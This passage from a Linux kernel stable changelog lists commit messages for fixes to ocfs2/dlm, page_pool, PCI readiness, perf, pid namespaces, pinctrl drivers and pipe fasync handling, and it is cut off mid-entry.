         kasan_save_stack+0x33/0x60
         kasan_save_track+0x14/0x30
         __kasan_kmalloc+0xaa/0xb0
         __kmalloc_cache_noprof+0x28d/0x610
         dlm_remaster_locks+0x147/0x1d90
         dlm_do_recovery+0xde1/0x1580
         dlm_recovery_thread+0x109/0x300
         kthread+0x351/0x460
         ret_from_fork+0x659/0x940
         ret_from_fork_asm+0x1a/0x30
    
        Freed by task 880:
         kasan_save_stack+0x33/0x60
         kasan_save_track+0x14/0x30
         kasan_save_free_info+0x3b/0x60
         __kasan_slab_free+0x5f/0x80
         kfree+0x308/0x580
         dlm_destroy_recovery_area+0x285/0x460
         dlm_remaster_locks+0x17c4/0x1d90
         dlm_do_recovery+0xde1/0x1580
         dlm_recovery_thread+0x109/0x300
         kthread+0x351/0x460
         ret_from_fork+0x659/0x940
         ret_from_fork_asm+0x1a/0x30
    
        The buggy address belongs to the object at ffff88810662ef80
         which belongs to the cache kmalloc-32 of size 32
        The buggy address is located 0 bytes inside of
         freed 32-byte region [ffff88810662ef80, ffff88810662efa0)
    
        [Page and memory-state dumps omitted.]
    
    Fixes: 007dce53a29c ("ocfs2/dlm: Dump the dlm state in a debugfs file")
    Signed-off-by: Cen Zhang <zzzccc427@gmail.com>
    Link: https://patch.msgid.link/pm-ocfs2-objects-candidate-0049-v3-184e46c47f5283f06191@gmail.com
    Reviewed-by: Joseph Qi <joseph.qi@linux.alibaba.com>
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
page_pool: keep frag_offset aligned for odd-sized requests [+ + +]
Author: Florian Schauer <florian@schauer.to>
Date:   Fri Aug 28 08:08:22 2026 +0200

    page_pool: keep frag_offset aligned for odd-sized requests
    
    commit dc0df5a0c62ccea1d0e08d39a4dc9064de81d411 upstream.
    
    page_pool_alloc_frag_netmem() rounds the requested fragment size with
    
            size = ALIGN(size, dma_get_cache_alignment());
    
    dma_get_cache_alignment() returns 1 unless the architecture defines
    ARCH_DMA_MINALIGN, which DMA-coherent architectures such as x86 do not.
    There the ALIGN() is a no-op and pool->frag_offset advances by the raw,
    unrounded size.
    
    A single caller asking for an odd size then leaves frag_offset misaligned
    for every fragment carved out of that page afterwards.  The pool is shared,
    so the damage is not confined to the caller that caused it.
    
    The per-cpu system_page_pool used by generic XDP hits this.
    skb_pp_cow_data() allocates its fragments with the raw packet length:
    
            size = min_t(u32, len, PAGE_SIZE);
            truesize = size;
            page = page_pool_dev_alloc(pool, &page_off, &truesize);
    
    leaving frag_offset odd for whatever is carved out of that page next.  Its
    own head allocation is already aligned -- SKB_HEAD_ALIGN(size) plus the
    XDP_PACKET_HEADROOM its callers pass -- so it is a later user of the shared
    pool that pays: page_pool_dev_alloc_va() returns a misaligned buffer,
    napi_build_skb() installs it as skb->head, and skb_shinfo(skb) ==
    skb->head + skb->end is misaligned with it.
    
    skb_shinfo()->dataref is a 4-byte atomic_t at offset 0x20, so the
    atomic_inc() in __skb_clone() straddles a cache line.  On x86 with split
    lock detection -- fatal for kernel split locks by default -- this panics
    the machine:
    
      Oops: Split lock detected
      RIP: 0010:skb_clone+0x154/0x1e0
      Call Trace:
       <IRQ>
       raw_local_deliver+0x1ed/0x2c0
       ip_protocol_deliver_rcu+0x54/0x1c0
       ip_local_deliver_finish+0x85/0x100
       ip_local_deliver+0x67/0x100
       __netif_receive_skb_one_core+0x85/0xa0
       process_backlog+0x87/0x130
    
    Reproduced by attaching any generic-mode XDP program to loopback and
    opening a RAW IPPROTO_UDP socket, which makes raw_local_deliver() clone
    every locally delivered UDP packet; ordinary DNS traffic then triggers it,
    roughly once per 2500 clones.  Observed on 6.12.101 and 7.1.8.
    
    Tracing page_pool_alloc_frag_netmem() over one such run shows the
    amplification -- two odd-sized requests, nine misaligned offsets:
    
      requested size & 7:   0: 17035    5: 1    7: 1
      frag_offset & 7:      0: 17028    3: 1    4: 1    5: 1    6: 1    7: 5
    
    and skb_pp_cow_data() returning heads that were aligned on entry:
    
      head 0xffff8f4c86aeac00 -> 0xffff8f4c53a9a9c4 (&7=4)
      head 0xffff8f4d6a8a42c0 -> 0xffff8f4c4f7b7a45 (&7=5)
    
    Round the fragment size up to at least the alignment struct skb_shared_info
    requires, so fragments are always suitably aligned for the objects callers
    build on them.  Architectures needing a larger DMA alignment keep it.
    
    This also makes the remainder computed in page_pool_alloc_netmem(),
    
            *size = max_size - *offset;
    
    aligned, since max_size is a power of two -- which fixes the matching
    misalignment of skb->end.
    
    Verified with a controlled A/B under QEMU/KVM: same tree, same config,
    same compiler, same rootfs and identical traffic, differing only by this
    patch.  A SEC("xdp.frags") XDP_PASS program on lo plus UDP datagrams
    larger than max_head_size drives skb_pp_cow_data()'s fragment loop, which
    passes raw packet lengths to the pool.  Measured at the return of
    skb_pp_cow_data():
    
                              unpatched   patched
      skb_pp_cow_data calls       40800     40800
      misaligned skb->head         1120         0
      dataref at line offset >60     80         0
    
    The last row counts the accesses that actually fault:
    skb_shinfo()->dataref sits at head+end+0x20 and is a 4-byte atomic, so
    `lock incl` splits a 64-byte cache line only when that address lands at
    offset 61..63.  All 80 occurrences were at offset 61; the panic reported
    above was at offset 62.  Eliminating the misalignment removes every one
    of them.
    
    Same class of bug as commit 3bed3cc4156e ("net: Do not allocate page
    fragments that are not skb aligned"), which fixed the older
    netdev_alloc_frag()/napi_alloc_frag() allocators.
    
    Fixes: 53e0961da1c7 ("page_pool: add frag page recycling support in page pool")
    Cc: stable@vger.kernel.org
    Signed-off-by: Florian Schauer <florian@schauer.to>
    Acked-by: Jesper Dangaard Brouer <hawk@kernel.org>
    Reviewed-by: Eric Dumazet <edumazet@google.com>
    Link: https://patch.msgid.link/20260828060822.2628276-1-florian@schauer.to
    Signed-off-by: Jakub Kicinski <kuba@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
PCI: Don't treat ~0 as ready in pci_dev_wait() with RRS SV [+ + +]
Author: Alexander Gruhlke <gruhlke@mailbox.org>
Date:   Sun Oct 11 21:01:45 2026 +0200

    PCI: Don't treat ~0 as ready in pci_dev_wait() with RRS SV
    
    [ Upstream commit e8df1d194c39b7a5159d570798941851f70a8668 ]
    
    With RRS Software Visibility, pci_dev_wait() considers a device ready as
    soon as reading the Vendor ID doesn't return the RRS value.  Devices aren't
    required to respond with RRS while they aren't ready, so the read may
    return ~0 and pci_dev_wait() stops waiting too early.  This was seen with
    Intel [8086:0a54] and Samsung [144d:a80c] NVMe SSDs.
    
    Also wait while the Vendor ID reads ~0.  A VF's Vendor ID always reads ~0,
    so check its Command register instead, as is done without RRS SV.
    
    Fixes: d591f6804e7e ("PCI: Wait for device readiness with Configuration RRS")
    Link: https://lore.kernel.org/r/20250611101442.387378-1-hui.wang@canonical.com
    Suggested-by: Lukas Wunner <lukas@wunner.de>
    Assisted-by: Claude:claude-opus-5-5
    Signed-off-by: Alexander Gruhlke <gruhlke@mailbox.org>
    Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
    Reviewed-by: Lukas Wunner <lukas@wunner.de>
    Link: https://patch.msgid.link/20261011190145.23621-3-gruhlke@mailbox.org
    Signed-off-by: Sasha Levin <sashal@kernel.org>

PCI: Ignore Immediate Readiness on Samsung 990 PRO and 990 EVO Plus NVMe [+ + +]
Author: Alexander Gruhlke <gruhlke@mailbox.org>
Date:   Sun Oct 11 21:01:44 2026 +0200

    PCI: Ignore Immediate Readiness on Samsung 990 PRO and 990 EVO Plus NVMe
    
    [ Upstream commit 0f8b5d90d179b9639be1dbeff59d6d971e6b0527 ]
    
    The Samsung 990 PRO [144d:a80c] advertises Immediate Readiness, so
    pcie_flr() doesn't wait after FLR, but the drive returns ~0 for up to 7 ms.
    Since commit 10baa9b4df40 ("PCI: Drop unnecessary retries when restoring
    BARs"), the config restore after FLR is lost, which breaks VFIO passthrough
    of the drive.  Firmware 8B2QJXD7 responds right after FLR, but older
    firmware such as 1B2QJXD7 doesn't, and the firmware version isn't visible
    here.
    
    [bhelgaas: The Samsung 990 EVO Plus [144d:a80d] with 2B2QKXG7 firmware
    seems to have the same problem.]
    
    Ignore Immediate Readiness on these devices, so pcie_flr() waits.
    
    Fixes: 10baa9b4df40 ("PCI: Drop unnecessary retries when restoring BARs")
    Link: https://bbs.archlinux.org/viewtopic.php?id=314833
    Link: https://bbs.archlinux.org/viewtopic.php?pid=2312085#p2312085
    Suggested-by: Lukas Wunner <lukas@wunner.de>
    Assisted-by: Claude:claude-opus-5-5
    Signed-off-by: Alexander Gruhlke <gruhlke@mailbox.org>
    [bhelgaas: squashed in Samsung 990 EVO Plus from
    https://lore.kernel.org/all/20261016102042.641801-1-gruhlke@mailbox.org]
    Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
    Reviewed-by: Lukas Wunner <lukas@wunner.de>
    Link: https://patch.msgid.link/20261011190145.23621-2-gruhlke@mailbox.org
    Link: https://patch.msgid.link/20261016102042.641801-1-gruhlke@mailbox.org
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
perf/x86/intel/uncore: Fix DMR CXL CM invert filter [+ + +]
Author: Guixiong Wei <weiguixiong@bytedance.com>
Date:   Thu Oct 8 13:19:54 2026 +0800

    perf/x86/intel/uncore: Fix DMR CXL CM invert filter
    
    [ Upstream commit cf1f186e08dadb5abc4410d10fe3ada7ebf801ae ]
    
    The DMR CXL CM PMU places its invert filter at config bit 21 and its
    9-bit threshold at bits 23-31. However, dmr_uncore_cxlcm uses
    GENERIC_PMON_RAW_EVENT_MASK, which covers the threshold through the
    generic bit 23 invert field and bits 24-31 threshold field, but does not
    include the relocated invert bit. As a result, uncore_pmu_event_init()
    silently clears bit 21 and inv=1 programs the same configuration as
    inv=0.
    
    Add bit 21 to a DMR CXL CM-specific event mask so the requested invert
    filter reaches hardware.
    
    Fixes: 6daf2c35b835 ("perf/x86/intel/uncore: Add IMH PMON support for Diamond Rapids")
    Signed-off-by: Guixiong Wei <weiguixiong@bytedance.com>
    Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
    Reviewed-by: Zide Chen <zide.chen@intel.com>
    Link: https://patch.msgid.link/20261008051953.6293-2-weiguixiong@bytedance.com
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
perf: Fix perf_pmu_migrate_context() leaving events behind [+ + +]
Author: Haris Okanovic <harisokn@amazon.com>
Date:   Tue Oct 13 13:56:00 2026 -0500

    perf: Fix perf_pmu_migrate_context() leaving events behind
    
    [ Upstream commit e76b36b4be7160eaa14b416681e548b125702395 ]
    
    __perf_pmu_remove() walks the group leaders of a CPU and PMU with
    perf_event_groups_for_cpu_pmu(), removing each one as it goes.
    perf_remove_from_context() takes the leader out of the groups rbtree,
    after which rb_next() on that node returns NULL, prematurely ending the
    walk. Other groups stay behind in the source context.
    
    On CPU hotplug, they are then torn down with the dying CPU. They keep
    running until teardown, while the PMU's interrupt and migrated events
    are on a new CPU, which drivers rely on never happening.
    
    Walk ctx->event_list instead and pick out the PMU's events by their
    pmu_ctx.
    
    Fixes: bd2756811766 ("perf: Rewrite core context handling")
    Signed-off-by: Haris Okanovic <harisokn@amazon.com>
    Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
    Link: https://patch.msgid.link/20261013185603.1347265-2-harisokn@amazon.com
    Signed-off-by: Sasha Levin <sashal@kernel.org>

perf: Track the perf mlock gift separately [+ + +]
Author: Lorenzo Stoakes (ARM) <ljs@kernel.org>
Date:   Sat Oct 3 17:29:07 2026 +0100

    perf: Track the perf mlock gift separately
    
    commit 78436f3882fb8d848c823bf8cf754988202c5ca5 upstream.
    
    The locked_vm field in struct user_struct was originally introduced by
    commit 789f90fcf6b0 ("perf_counter: per user mlock gift") to provide an
    mlock-like budget for perf measured against mm->pinned_vm (since 2011).
    
    perf grants each user a 'gift' of perf_event_mlock_kb * online CPUs of
    buffer pages which is charged to user->locked_vm without any RLIMIT_MEMLOCK
    check.
    
    Only pages beyond the gift are checked against RLIMIT_MEMLOCK, per-mm, via
    mm->pinned_vm, which makes it different from the standard mlock() check,
    which is per-mm and made against RLIMIT_MEMLOCK.
    
    However, since this was introduced, a number of other components have
    utilised this field where a shared resource needed to be limited against
    RLIMIT_MEMLOCK.
    
    The other users are currently MSG_ZEROCOPY, io_uring, AF_XDP, iommufd,
    s390 KVM zPCI and most recently, secretmem in commit 97d34aa65c29
    ("mm/secretmem: properly account locked pages").
    
    This field is shared between all of these, but because the gift is not
    checked against RLIMIT_MEMLOCK, user->locked_vm alone can exceed it - 16
    CPUs * 516 KiB is already more than the default 8 MiB - after which every
    other user of the field fails unconditionally.
    
    This was reported by a user who saw secretmem failing while running a
    simultaneous perf record.
    
    Resolve the issue by simply giving perf its own field separate from the
    rest.
    
    BPF used user->locked_vm up until commit 80ee81e0403c ("bpf: Eliminate
    rlimit-based memory accounting infra for bpf maps") which landed in 5.11.
    
    Thus also eliminate the now-defunct ifdef for CONFIG_BPF_SYSCALL for
    user->locked_vm.
    
    This issue exists between all of the components which use user->locked_vm
    and perf, however secretmem is the first user who has caused a report over
    many years and has been backported, so target the fix at that.
    
    Fixes: 97d34aa65c29 ("mm/secretmem: properly account locked pages")
    Closes: https://lore.kernel.org/20261002175651.811343-1-ameer.hamza@truenas.com
    Reported-by: Ameer Hamza <ameer.hamza@truenas.com>
    Signed-off-by: Lorenzo Stoakes (ARM) <ljs@kernel.org>
    Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20261003-perf-locked-vm-fix-v1-1-d214dcaf0d76@kernel.org
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

perf: Update cgroup time when rotating multiplexed events [+ + +]
Author: Antoine Huret <antoine.huret@bull.com>
Date:   Thu Oct 15 14:55:56 2026 +0200

    perf: Update cgroup time when rotating multiplexed events
    
    commit e4c7c401c6b9174c0c893084fdaa6a84bd2520d7 upstream.
    
    Since commit bd2756811766 ("perf: Rewrite core context handling"),
    perf_rotate_context() only updates the context time before scheduling
    out the flexible events. It no longer updates the cgroup time, which
    ctx_sched_out() used to do.
    
    Cgroup events take their times from the per-cpu cgroup clock, so
    between two cgroup switches the rotations see a frozen clock. The
    events rotated out lose the running time they accumulated, and the next
    update, usually a read, credits the whole interval to the events that
    happen to be on the PMU at that moment.
    
    As a result, the time_running of multiplexed cgroup events is wrong,
    and so are their scaled counts, as long as no other cgroup runs on the
    CPU, e.g. a busy job alone on its CPUs. Counting cycles over one second
    of a busy loop in a cgroup gives from half to several times the max
    frequency of the CPU.
    
    Update the cgroup time before rotating the CPU context, as was done
    before the rewrite.
    
    Fixes: bd2756811766 ("perf: Rewrite core context handling")
    Closes: https://lore.kernel.org/r/PR3PR07MB69223331EED5BEBE150375B7849C2@PR3PR07MB6922.eurprd07.prod.outlook.com/
    Assisted-by: Claude:claude-opus-5-5
    Signed-off-by: Antoine Huret <antoine.huret@bull.com>
    Signed-off-by: Peter Zijlstra (Intel) <peterz@infradead.org>
    Cc: stable@vger.kernel.org
    Link: https://patch.msgid.link/20261015-perf-cgroup-rotation-time-v1-1-93e177dfee5d@bull.com
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
pid_namespace: make zap_pid_ns_processes() freezable [+ + +]
Author: Aviv Vaknin <vaknins33@gmail.com>
Date:   Fri Oct 2 23:28:20 2026 +0300

    pid_namespace: make zap_pid_ns_processes() freezable
    
    commit 81933038f5e273d17ed22792f906889393b204c5 upstream.
    
    When the init of a pid namespace exits, zap_pid_ns_processes() waits
    until all other pids in the namespace are freed. A tracer outside the
    namespace that does not reap its traced zombies keeps those pids
    allocated, so this wait has no upper bound, and while it lasts every
    suspend attempt fails:
    
      Freezing user space processes failed after 20.006 seconds (2 tasks refusing to freeze, wq_busy=0):
    
    Neither wait is freezable. The first loop sleeps in do_wait(), which
    returns -ERESTARTSYS on the freezer's fake signal; the loop then clears
    TIF_SIGPENDING and waits again without ever freezing. The final loop
    sleeps in TASK_INTERRUPTIBLE, and since nothing clears TIF_SIGPENDING
    there, schedule() returns immediately after the first freeze attempt
    and the task spins until the wait ends.
    
    Sleep in TASK_INTERRUPTIBLE | TASK_FREEZABLE in do_wait(), so that the
    freezer can freeze tasks waiting there directly, and in TASK_IDLE |
    TASK_FREEZABLE in the final loop, like coredump_task_exit() does.
    
    This was hit with Chromium-based browsers: crashpad ptrace-attaches the
    threads of a crashed renderer, which is a pid namespace init, and does
    not reap those killed during the dump.
    
    Fixes: 3eb07c8c8adb ("pid namespaces: destroy pid namespace on init's death")
    Fixes: b9a985db9896 ("pid_ns: Sleep in TASK_INTERRUPTIBLE in zap_pid_ns_processes")
    Cc: stable@vger.kernel.org # 6.1+
    Suggested-by: Oleg Nesterov <oleg@redhat.com>
    Signed-off-by: Aviv Vaknin <vaknins33@gmail.com>
    Link: https://patch.msgid.link/20261002202820.3433318-1-vaknins33@gmail.com
    Acked-by: Oleg Nesterov <oleg@redhat.com>
    Reviewed-by: Bradley Morgan <brads@mainlining.org>
    Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

 
pinctrl: amd: Clear S4 wake bits when firmware has _AEI [+ + +]
Author: Mario Limonciello <mario.limonciello@amd.com>
Date:   Mon Oct 5 13:01:47 2026 -0500

    pinctrl: amd: Clear S4 wake bits when firmware has _AEI
    
    commit 1cca81a683da7f0ef2fbaf34442376044cbbad22 upstream.
    
    Commit ffe8a0c6b552 ("pinctrl-amd: Don't clear S4 wake bits at probe")
    preserves firmware-programmed S4 wake sources because some PCIe devices
    rely on them for Wake-on-LAN. The system that motivated that change does
    not expose ACPI GPIO events through _AEI.
    
    On a Chuwi CoreBook Plus, firmware exposes _AEI but also leaves the S4/S5
    wake bit set for GPIO 24. This causes the machine to power back on
    immediately after shutdown even though Wake-on-LAN is not enabled.
    
    GPIO register dumps show that the only relevant difference is bit 15 on
    GPIO 24. Clearing that bit makes the machine remain off. GPIO 24 is not
    itself listed in _AEI, so _AEI is not a per-pin indication of which pins
    the OS manages; it is a platform level signal of which wake model the
    firmware follows.
    
    Use that signal to decide what to clear. Continue clearing S0i3/S3 bits on
    every system. Clear S4 bits when firmware exposes _AEI, indicating that the
    platform hands GPIO events to the OS, but preserve S4 bits when _AEI is
    absent so that firmware-programmed sources such as PCIe PME that bypass the
    GPIO IRQ wake API keep working.
    
    A platform that exposes _AEI for some pins while routing a wake capable
    device through a raw GPIO not listed in _AEI would lose that wake source
    unless firmware re-arms it during the sleep transition. No such system has
    been reported.
    
    Fixes: ffe8a0c6b552 ("pinctrl-amd: Don't clear S4 wake bits at probe")
    Reported-by: Olzhas Marat <marat.olzhas@gmail.com>
    Closes: https://bugzilla.kernel.org/show_bug.cgi?id=222041
    Cc: stable@vger.kernel.org
    Tested-by: Olzhas Marat <marat.olzhas@gmail.com>
    Reviewed-by: Shyam Sundar S K <Shyam-sundar.S-k@amd.com>
    Signed-off-by: Mario Limonciello <mario.limonciello@amd.com>
    Signed-off-by: Linus Walleij <linusw@kernel.org>
    Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

pinctrl: qcom: hawi: Fix intr_target_width [+ + +]
Author: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
Date:   Thu Sep 17 11:03:25 2026 +0200

    pinctrl: qcom: hawi: Fix intr_target_width
    
    [ Upstream commit 9d4c3e0c6a53eb390d58b8d7aaf08885e46f93fd ]
    
    The default width of the interrupt target field doesn't match the actual
    register layout. Fix it.
    
    Fixes: 90700e10d2ad ("pinctrl: qcom: Add Hawi pinctrl driver")
    Assisted-by: LLM
    Signed-off-by: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
    Reviewed-by: Shawn Guo <shengchao.guo@oss.qualcomm.com>
    Link: https://patch.msgid.link/20260917-topic-tlmm_intr_width_fixes-v1-1-3bc1d056aa6b@oss.qualcomm.com
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13 [+ + +]
Author: Gilberto Conde <gilbertorconde@gmail.com>
Date:   Mon Sep 21 10:34:19 2026 +0100

    pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13
    
    [ Upstream commit c6c159fcdb4e9a678eda0831f971e4a3a488ec47 ]
    
    GPIO13 supports the PWM3 function at mux select value 4, but the
    pingroup table leaves that slot empty and gpio13 is not listed in
    pwm3_groups. Selecting pwm3 on gpio13 is therefore rejected by the
    pinmux core:
    
      ipq5018-tlmm: invalid group "gpio13" for function "pwm3"
    
    The GL.iNet GL-X2000 drives its fan from PWM3 on this pin, and the
    vendor firmware muxes it with select value 4:
    
      gpio13 : out low  func4 8mA no pull
    
    Add pwm3 to the fourth function slot of gpio13 and list gpio13 in
    pwm3_groups. With this the pin muxes as expected:
    
      pin 13 (GPIO_13): device 1941010.pwm function pwm3 group gpio13
    
    Fixes: 725d1c891658 ("pinctrl: qcom: Add IPQ5018 pinctrl driver")
    Signed-off-by: Gilberto Conde <gilbertorconde@gmail.com>
    Reviewed-by: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
    Link: https://patch.msgid.link/20260921093419.2870168-1-gilbertorconde@gmail.com
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

pinctrl: qcom: ipq5018: replace gcc_plltest with pwm2 on gpio12 [+ + +]
Author: Adriel Santos <adriel@adriel.eu>
Date:   Fri Oct 2 13:09:58 2026 -0300

    pinctrl: qcom: ipq5018: replace gcc_plltest with pwm2 on gpio12
    
    [ Upstream commit 709ba1c547eaf37da36ded2ecf3ea4e304cdfa9a ]
    
    The pingroup table has gcc_plltest at function 5 of gpio12 and does not
    offer pwm2 on that pin, so the pinmux core rejects a request for pwm2 on
    gpio12 as an invalid group. On the hardware, function 5 of gpio12
    carries the PWM2 output: the Xiaomi AX3000T v2 drives its blue status
    LED from PWM2 on gpio12.
    
    The vendor kernel shipped on that router (Linux 4.4, stock firmware
    2.0.28) has pwm2 in this slot. Its pingroup table, as read from the
    firmware image, lists these functions for gpio12:
    
      gpio, blsp0_spi, blsp0_i2c, blsp1_uart0, _, pwm2, qdss_tracedata_a,
      _, _, _
    
    and has pwm3 at function 4 of gpio13, matching commit c6c159fcdb4e
    ("pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13").
    
    Measured on the board: with gpio12 set to each of the 16 function
    values in turn, and PWM2 held at 0% and then at 100% duty, the pad
    level read back from GPIO_IN follows PWM2 only at function 5. There it
    does not follow PWM channels 0, 1 or 3, and the LED switches with PWM2.
    Functions 4 and 7, which the table leaves empty, do not carry PWM2.
    
    Put pwm2 in function 5 of gpio12 and list gpio12 in pwm2_groups. Drop
    gpio12 from gcc_plltest_groups: none of its functions is gcc_plltest
    any more, and selecting it would trigger the WARN_ON() in
    msm_pinmux_set_mux().
    
    Fixes: 725d1c891658 ("pinctrl: qcom: Add IPQ5018 pinctrl driver")
    Assisted-by: LLM
    Signed-off-by: Adriel Santos <adriel@adriel.eu>
    Reviewed-by: Dmitry Baryshkov <dmitry.baryshkov@oss.qualcomm.com>
    Link: https://patch.msgid.link/20261002160958.908424-1-adriel@adriel.eu
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

pinctrl: qcom: nord: fix GPIO interrupt target width [+ + +]
Author: Zhangfei Gao <zhangfei.gao@oss.qualcomm.com>
Date:   Wed Sep 16 16:57:20 2026 +0800

    pinctrl: qcom: nord: fix GPIO interrupt target width
    
    [ Upstream commit 68ab4a6a84b92f52650508acb60317eb76454250 ]
    
    The TARGET_PROC field in the Nord GPIO_INTR_CFG registers occupies bits
    11:8. Describe it as four bits wide so the common Qualcomm pinctrl code
    clears the complete field before routing an interrupt to the application
    processor.
    
    Without intr_target_width, the common code uses its three-bit default
    mask. Since GPIO_INTR_CFG resets with TARGET_PROC set to 0xf (NONE), bit
    11 remains set when the driver programs HMSS target 3. The resulting
    target is 0xb (HPASS_DSP_1), observed as an interrupt configuration value
    of 0xb1b instead of 0x31b.
    
    The GPIO interrupt status is consequently latched, but the HMSS TLMM
    summary interrupt at GIC SPI 208 is never asserted. This affects all Nord
    GPIO interrupts using the TLMM summary path, including the Ethernet PHY
    interrupts on GPIO55 and GPIO141.
    
    Fixes: c24dd0826f06 ("pinctrl: qcom: add the TLMM driver for the Nord platforms")
    Signed-off-by: Zhangfei Gao <zhangfei.gao@oss.qualcomm.com>
    Reviewed-by: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
    Reviewed-by: Shawn Guo <shengchao.guo@oss.qualcomm.com>
    Link: https://patch.msgid.link/20260916085720.771498-1-zhangfei.gao@oss.qualcomm.com
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

pinctrl: qcom: qcs8300: Fix intr_target_width [+ + +]
Author: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
Date:   Thu Sep 17 11:03:27 2026 +0200

    pinctrl: qcom: qcs8300: Fix intr_target_width
    
    [ Upstream commit dcb5df182b37587d5ad6bb4388751bf5180957ac ]
    
    The default width of the interrupt target field doesn't match the actual
    register layout. Fix it.
    
    Fixes: 0c4cd2cc87c8 ("pinctrl: qcom: add the tlmm driver for QCS8300 platforms")
    Assisted-by: LLM
    Signed-off-by: Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
    Reviewed-by: Shawn Guo <shengchao.guo@oss.qualcomm.com>
    Link: https://patch.msgid.link/20260917-topic-tlmm_intr_width_fixes-v1-3-3bc1d056aa6b@oss.qualcomm.com
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

pinctrl: qcom: spmi-gpio: make direction changes exclusive [+ + +]
Author: Shawn Guo <shengchao.guo@oss.qualcomm.com>
Date:   Sun Sep 27 09:09:13 2026 +0800

    pinctrl: qcom: spmi-gpio: make direction changes exclusive
    
    [ Upstream commit 19fc4240358be2a25ce8e0a49a2819588ed61c5d ]
    
    Neither direction callback clears the opposite buffer: .direction_output()
    only packs PIN_CONFIG_LEVEL and .direction_input() only packs
    PIN_CONFIG_INPUT_ENABLE.  As pmic_gpio_populate() seeds input_enabled and
    output_enabled from MODE_CTL, a pad left in DIGITAL_INPUT[_OUTPUT] by the
    bootloader ends up in DIGITAL_INPUT_OUTPUT whichever direction is
    requested.  That leaves an input still driving the line, and makes
    pmic_gpio_get_direction() report an output as an input, which breaks
    consumers that read the direction back:
    
      reg-fixed-voltage regulator-wcn-core-vm-1p35: setup of GPIO (default) failed: -1
      reg-fixed-voltage regulator-wcn-core-vm-1p35: error -EPERM: can't get GPIO
    
    Pack the opposite buffer's PIN_CONFIG_*_ENABLE along with the requested
    direction, so MODE_CTL becomes DIGITAL_INPUT or DIGITAL_OUTPUT, never
    both.  pmic_gpio_config_set() writes the registers once after walking all
    configs, so this stays a single write.
    
    An open-drain or open-source output is the exception: it only drives one
    rail, so pmic_gpio_get() needs the input buffer to sample the line rather
    than return the value last written.  Program the input buffer from
    pad->buffer_type, which gpiolib has already updated via
    PIN_CONFIG_DRIVE_OPEN_DRAIN, and key pmic_gpio_get_direction() off
    output_enabled so such pads still read back as outputs.
    
    Genuinely bidirectional pads can still be described that way through
    pinconf; the gpiolib callbacks now mean what gpiolib says they mean.
    
    Fixes: 263447532463 ("pinctrl: qcom: spmi-gpio: implement .get_direction()")
    Assisted-by: LLM
    Reviewed-by: Linus Walleij <linusw@kernel.org>
    Signed-off-by: Shawn Guo <shengchao.guo@oss.qualcomm.com>
    Link: https://patch.msgid.link/20260927010913.1212600-1-shengchao.guo@oss.qualcomm.com
    Signed-off-by: Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

pinctrl: sunxi: dt: do not accumulate npins across probe attempts [+ + +]
Author: Pablo Mazzini <pmazzini@gmail.com>
Date:   Wed Oct 7 07:01:07 2026 +0100

    pinctrl: sunxi: dt: do not accumulate npins across probe attempts
    
    [ Upstream commit c5895eadf287116434b7b01d67b92e8146f7ff61 ]
    
    init_pins_table() adds to npins in the driver's static descriptor, so
    after a probe deferral the count doubles and the next probe fails with
    "pin 0 already registered". Reset it first.
    
    Signed-off-by: Pablo Mazzini <pmazzini@gmail.com>
    Fixes: f5e2cd34b12f ("pinctrl: sunxi: allow reading mux values from DT")
    Reviewed-by: Andre Przywara <andre.przywara@arm.com>
    Signed-off-by: Linus Walleij <linusw@kernel.org>
    Signed-off-by: Sasha Levin <sashal@kernel.org>

 
pipe: preserve existing fasync readers on writer setup failure [+ + +]
Author: Kyle Zeng <kylebot@openai.com>
Date:   Fri Oct 2 06:17:05 2026 +0000

    pipe: preserve existing fasync readers on writer setup failure
    
    [ Upstream commit 40bb03d3ea6f6a915218508819ecc4d7a7fa260d ]
    
    F_SETFL and FIOASYNC decide whether to invoke ->fasync() before
    pipe_fasync() takes pipe->mutex. Two enables of one O_RDWR FIFO can
    therefore both enter the callback.
    
    fasync_helper() allocates before checking for an existing entry. If the
    first enable installs both entries, a second enable can update the
    reader entry and then fail the allocation for the writer entry. The
    error path removes the pre-existing reader entry, clearing FASYNC while
    the writer entry remains registered. __fput() then skips ->fasync(), so a
    later pipe notification can dereference the freed file or its f_owner.
    An unprivileged memory-pressure reproducer triggers a KASAN
    slab-use-after-free in send_sigio() through this path.
    
